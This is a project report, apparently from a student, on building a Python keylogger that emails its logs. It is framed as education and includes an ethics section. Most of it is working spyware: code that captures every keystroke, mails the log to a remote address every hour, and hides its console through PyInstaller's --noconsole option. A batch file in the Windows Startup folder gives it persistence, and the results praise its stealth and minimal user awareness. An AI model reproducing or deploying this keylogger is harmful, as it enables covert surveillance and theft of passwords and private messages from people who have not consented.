**Keylogger with Email Functionality**

# Abstract

This report documents the development and implementation of a keylogger that records keystrokes and sends the logs via email. The project highlights the use of Python libraries for handling email, file operations, and background processes. The primary purpose of this project is to understand the working mechanisms of keyloggers for educational purposes and emphasize the ethical considerations surrounding their use.

# Objective

The primary goal is to design a functional keylogger that demonstrates the foundational principles of how these tools work while maintaining a strong ethical framework. The project focuses on the following key objectives:

1. Real-Time Keystroke Logging:

**Description**:

* The program must continuously monitor and record every key pressed on the keyboard.

**Technical Implementation**:

* Utilize the pynput library to intercept keyboard events.
* Handle edge cases like special keys (Shift, Ctrl, Alt, etc.) and log them appropriately, ensuring the output is human-readable.
* Implement efficient memory usage by immediately writing logged data to the file or queue to avoid overloading system memory.

**Purpose**:

* Understanding how keylogging mechanisms interact with operating systems and capturing essential data for analysis or monitoring.Local File Storage:

1. Saving Keystroke Data Locally:

**Description**:

* Keystroke logs should be stored on the local system in a secure and organized manner.

**Technical Implementation**:

* Use Python's os and time libraries to create and manage log files.
* Ensure that log files are saved in a specific directory with proper naming conventions (e.g., logs\_YYYYMMDD\_HHMMSS.txt).
* Implement measures to handle scenarios like insufficient disk space or interrupted execution.

**Purpose**:

* Enable offline access to data and provide a failsafe in case email transmission fails.

1. Sending Logs Periodically via Email:

**Description**:

* Logged data must be sent to a designated email address at defined intervals for remote access and backup.

**Technical Implementation**:

* Leverage the smtplib library for sending emails and ssl for establishing secure connections.
* Use MIME formatting from the email.mime.text library to ensure proper attachment and message readability.
* Include a configurable timer (e.g., using Python’s time.sleep or threading) to determine the frequency of email dispatch.
* Incorporate sender email account credentials securely, such as through environment variables or encrypted files.

**Purpose**:

* Provide real-time access to keystroke data from remote locations for legitimate monitoring.

1. Discreet Background Operation:

**Description**:

* The program should run invisibly without alerting the user, mimicking real-world keylogger behavior.

**Technical Implementation**:

* Convert the Python script into an executable file using tools like PyInstaller.
* Use the --noconsole option with PyInstaller to suppress terminal output, ensuring the program runs silently.
* Create a batch file (.bat) to automate execution and place it in the Windows startup folder for automatic launch on system boot.

**Purpose**:

* Simulate realistic scenarios for testing and learning while avoiding interference with regular system operations.

1. Ethical Considerations and Responsible Use:

**Description**:

* Emphasize the importance of ethical implementation, ensuring the tool is used only with proper consent and authorization.

**Key Aspects**:

* Incorporate user agreements or warnings where necessary.
* Use the tool solely for authorized purposes, such as parental monitoring, self-assessment, or academic demonstrations.
* Highlight potential legal and ethical repercussions of misuse in all project documentation.

1. Educational value:

**Description**:

* Provide a hands-on understanding of how keylogging tools operate, emphasizing security measures to mitigate their misuse.

**Key Aspects**:

* Demonstrate secure programming practices to prevent the tool's exploitation.
* Explore anti-keylogging measures by identifying patterns that make these tools detectable by security software.

1. Adaptability for Future Enhancements:

**Description**:

* Lay the groundwork for future iterations of the keylogger with additional functionalities.

**Potential Features**:

* Multi-OS compatibility (e.g., macOS and Linux support).
* Log encryption to protect sensitive data.
* Integration with cloud storage for log backup.
* Real-time notifications for specific key phrases or patterns (e.g., keywords indicating security risks).

# System Requirements

PROGRAMMING LANGUAGE:

**Python 3.8:**

* Python is chosen due to its simplicity, extensive library support, and ease of handling tasks like email sending and input monitoring.

LIBRARIES AND MODULES:

**smtplib**:

* Purpose: To send emails using the Simple Mail Transfer Protocol (SMTP).
* Why: It's a built-in Python library, reducing the need for additional dependencies.
* Alternatives: Third-party libraries like yagmail or email.utils could be explored for enhanced functionality.

**ssl**:

* Purpose: To establish secure connections when sending emails over SMTP.
* Why: Security is critical to prevent sensitive information from being intercepted.

**email.mime.text**:

* Purpose: To structure email messages with plain text content.
* Why: Allows for customization of email formatting.

**pynput**:

* Purpose: To capture and monitor keyboard events.
*  Why: It's one of the most reliable libraries for handling low-level input monitoring.

**OS**:

* Purpose: To manage file operations and system path configurations.
* Why: Essential for navigating file directories and handling log files.

**Time:**

* Purpose: To introduce delays between operations, such as periodic email sending.
* Why: Simplifies task scheduling without requiring external schedulers.

# threading :

* Purpose: To enable the program to run tasks in the background (e.g., keylogging and sending emails).
* Why: Ensures smooth operation without freezing the main program.

OPERATING SYSTEMS:

* Tested and optimized for **Windows 10/11**.
* For cross-platform compatibility, additional libraries (e.g., pyautogui) might be required, and testing on Linux/Mac is recommended.

HARDWARE REQUIREMENTS:

* **Processor**: Any modern dual-core CPU or higher for smooth multitasking.
* **Memory**: Minimum 2 GB RAM for running the Python interpreter and background threads without noticeable performance degradation.
* **Storage**: At least 100 MB free disk space for log files and email attachments.

INTERNET REQUIREMENTS:

* Stable internet connection required for sending email logs.

DEVELOPMENT ENVIRONMENT:

* Python IDEs like **PyCharm**, **VS Code**, or the built-in **IDLE** are recommended for writing and debugging the code.

# Implementation

The keylogger implementation involves the following steps:

1. Logging Keystrokes:

Objective:

* Capture every keystroke pressed on the keyboard.

**Detailed Steps:**

* Use the pynput library to monitor keyboard events.
* Handle special keys like Shift, Ctrl, or Backspace to maintain readability.
*  Append keystrokes to a file in a human-readable format.

**Key Concepts:**

* **Keypress Event:** Every key pressed triggers the on\_press function in pynput.
* **Key Translation:** Convert special keys (Key.space, Key.enter) into understandable terms.
* **Error Handling:** Handle edge cases where certain keys may not have a readable char attribute.

Logging Keystrokes:

from pynput.keyboard import Listener, Key

def on\_press(key):

with open("keylogs.txt", "a") as log\_file:

try:

log\_file.write(key.char) # Printable characters

except AttributeError:

if key == Key.space:

log\_file.write(" [SPACE] ")

elif key == Key.enter:

log\_file.write(" [ENTER]\n")

elif key == Key.backspace:

log\_file.write(" [BACKSPACE] ")

else:

log\_file.write(f" [{key}] ")

with Listener(on\_press=on\_press) as listener:

listener.join()

1. Sending Logs Via Email:

Objective:

* Periodically send captured keystroke logs to a specified email address securely.

**Detailed Steps:**

* Use smtplib to send emails.
* Use ssl to encrypt communication between the client and the email server.
* Format email content using the email.mime.text module.
*  Authenticate with the email server using valid credentials.

**Key Considerations:**

* **Security:** Use app-specific passwords instead of your primary email password.
* **Error Management:** Handle network errors or authentication failures gracefully.

Sending Logs Via Email:

import smtplib

import ssl

from email.mime.text import MIMEText

def send\_email():

smtp\_server = "smtp.gmail.com"

port = 465 # SSL port

sender\_email = "your\_email@gmail.com"

receiver\_email = "receiver\_email@gmail.com"

password = "your\_password"

with open("keylogs.txt", "r") as log\_file:

log\_data = log\_file.read()

message = MIMEText(log\_data)

message["Subject"] = "Keylogger Logs"

message["From"] = sender\_email

message["To"] = receiver\_email

try:

context = ssl.create\_default\_context()

with smtplib.SMTP\_SSL(smtp\_server, port, context=context) as server:

server.login(sender\_email, password)

server.sendmail(sender\_email, receiver\_email, message.as\_string())

print("Logs sent successfully!")

except Exception as e:

print(f"Error sending email: {e}")

1. Sending Logs Via Email:

Objective:

* Ensure email logs are sent at regular intervals while the keylogger continues to capture keystrokes.

**Detailed Steps:**

* Use threading to create a background task.
* Use time.sleep() to set intervals for email sending.
* Continuously monitor the log file while periodically triggering the send\_email() function.

Sending Logs Via Email:

import threading

import time

def periodic\_email(interval):

while True:

send\_email()

time.sleep(interval) # Interval in seconds (e.g., 3600 for 1 hour)

email\_thread = threading.Thread(target=periodic\_email, args=(3600,))

email\_thread.daemon = True # Ensures the thread ends when the main program exits

email\_thread.start()

1. Creating an Executable:

Objective:

* Package the keylogger script into an executable for easier deployment and use.

**Steps:**

1. Install PyInstaller:

pip install pyinstaller

1. Create the executable:

pyinstaller --onefile --noconsole keylogger.py

1. The .exe file will be available in the dist/ folder. This file can run without requiring Python.
2. Auto-Execution:

Objective:

* Make the program start automatically when the system boots.

**Implementation Steps:**

1. Create a Batch File:

* Write the following in a .bat file:

start keylogger.exe

1. Add to Windows Startup Folder:

* Place the .bat file in the Windows Startup folder:

C:\Users\<YourUsername>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

1. Error Handling:

Key Errors to Address:

* File not found or permission issues.
* Email sending failures due to incorrect credentials or network issues.

Error Handling Code:

try:

# Code block

except FileNotFoundError:

print("Log file not found!")

except smtplib.SMTPException as e:

print(f"SMTP error: {e}")

1. Future Enhancements:

**Encryption for Logs:**

* + - Use libraries like cryptography to encrypt the log file before sending it via email.

Platform Compatibility:

* + Modify the code to capture keystrokes on macOS or Linux using platform-specific tools like pyxhook or evdev

**Real-Time Alerts:**

* + - Trigger alerts for specific keywords (e.g., passwords or sensitive phrases).

# Steps to Convert Code into Executable (.exe)

1. Install PyInstaller:

PyInstaller is a Python library that converts .py files into standalone executables. Install it using the following command:

pip install pyinstaller

1. Navigate to Your Python Script:

Open a terminal or command prompt and navigate to the directory containing your Python script (e.g., keylogger.py).

1. Run PyInstaller Command:

Use the following command to create an executable:

pyinstaller --onefile --noconsole keylogger.py

* **--onefile**: Bundles all dependencies into a single executable file.
* **--noconsole**: Ensures the program runs without displaying the console window (useful for background applications).

1. Locate the Executable:

After running the command, PyInstaller will create a dist folder in the same directory as your script. The folder will contain the .exe file.

# Steps to Create a Batch File (.bat)

1. Open a Text Editor:

* Open a simple text editor like **Notepad** on your Windows system

1. Write the Batch File Content:

* In the text editor, type the following command:

start keylogger.exe

* start: This command is used to open the executable file in a new window.
* keylogger.exe: Replace this with the name of your keylogger executable file if it's named differently.

1. Save the File:

* Go to **File > Save As**.
* In the "Save as type" dropdown, select **All Files**.
* Name the file, ensuring it ends with a **.bat** extension, such as start\_keylogger.bat.
* Save the file in the same directory as your keylogger.exe file for easier reference.

1. Test the batch file:

* Double-click the .bat file. It should launch your keylogger.exe file.
* If the file doesn’t work as expected, ensure the paths and filenames are correct.

1. Optional: Add the Batch File to Startup:

To make the keylogger start automatically when the computer boots:

1 **Locate the Startup Folder**

* Press Win + R to open the Run dialog.
* Type shell:startup and press **Enter**. This will open the Startup folder.

2 **Move the Batch File**

* Copy your .bat file into the Startup folder. Any program or script in this folder will automatically execute when the user logs in.

1. Additional Tips:

* If your .exe file is in a different directory, you can provide the full path in the batch file

start C:\path\to\keylogger.exe

* Use @echo off at the top of the batch file to prevent the command window from displaying the commands executed:

@echo off

start keylogger.exe

RESULTS:

1. Keystroke Logging Efficiency:

The keylogger successfully captures all keystrokes, including special keys like "Enter," "Backspace," and "Shift." These keystrokes are logged in a format that differentiates between regular characters and special keys, ensuring clarity in the recorded data.

1. Log File Management:

* Logs are stored locally in a text file, with a clear timestamp marking each recording session.
* The file is updated dynamically as keystrokes are detected, ensuring no loss of data during program execution.

1. Email Delivery of Logs:

* The captured logs are sent to a specified email address at predefined intervals.
* Email transmission includes error handling to account for scenarios like network unavailability or incorrect email credentials.
* Logs are formatted for readability when viewed in an email client

1. Program Stealth:

 The keylogger operates discreetly without a visible console window or taskbar indicator, ensuring minimal user awareness.

 It is designed to restart automatically upon system reboot (when combined with a batch file in the Startup folder).

1. Executable Functionality:

 Conversion to an executable (.exe) ensures the program can run on systems without requiring a Python installation.

 The executable maintains all original functionalities, including keystroke logging and email sending.

1. Multithreading Implementation:

* The use of threading ensures that keystroke logging and email sending operate concurrently, without causing delays or interruptions in either process.
* This allows the application to remain efficient and responsive even during prolonged usage

1. Error Handling:

* Comprehensive error handling addresses potential issues such as missing libraries, invalid email credentials, or system-level restrictions, ensuring the application runs smoothly under various conditions.
* Logs any encountered errors locally to assist in debugging or improving future versions.

# Ethical Considerations

Keyloggers are powerful tools capable of capturing sensitive and private information. While their development and implementation can serve legitimate purposes, their ethical implications demand careful examination. This section addresses both the positive applications and the risks of misuse, highlighting the responsibility of developers and users to adhere to ethical standards.

Legitimate Applications of keyloggers

* 1. Parental Monitoring:
  + Parents may use keyloggers to protect their children by monitoring their online interactions and guarding against cyberbullying, exposure to inappropriate content, or communication with strangers.
  + The ethical boundary here requires transparency with older children to respect their growing sense of independence and privacy.
  1. Self-Monitoring and Productivity Tracking:
     + Individuals may use keyloggers to understand their own habits, improve productivity, or keep logs for personal purposes.
  2. Corporate Use:
     + Companies may deploy keyloggers to ensure employees comply with security policies and prevent misuse of organizational resources.
     + However, employees must be informed of such practices through clear policies to maintain trust and comply with legal frameworks.
  3. Risks of Misuse:
* Unauthorized access to private data can breach privacy, facilitate identity theft, or enable harassment.
* Misuse in organizations may lead to distrust or legal consequences.
  1. **Legal Frameworks**:
* Adhere to data protection laws (e.g., GDPR, CCPA) and ensure informed consent.
* Transparency is crucial to maintain ethical boundaries.
  1. **Developer Responsibilities**:
  + Build safeguards like encryption and limit misuse potential.
  + Educate users on ethical practices and risks.

Conclusion

The completion of this mini-project on developing a keylogger with email functionality marks a significant step in understanding system-level programming and cybersecurity tools. The project successfully demonstrated the ability to log keystrokes, save data locally, and send logs via email securely and efficiently.

Beyond achieving technical objectives, the project emphasized the importance of ethical considerations and the responsible use of such tools. Moving forward, enhancements like cross-platform compatibility and data encryption can further improve its functionality and security. This project serves as a foundation for exploring advanced topics in cybersecurity while promoting ethical practices.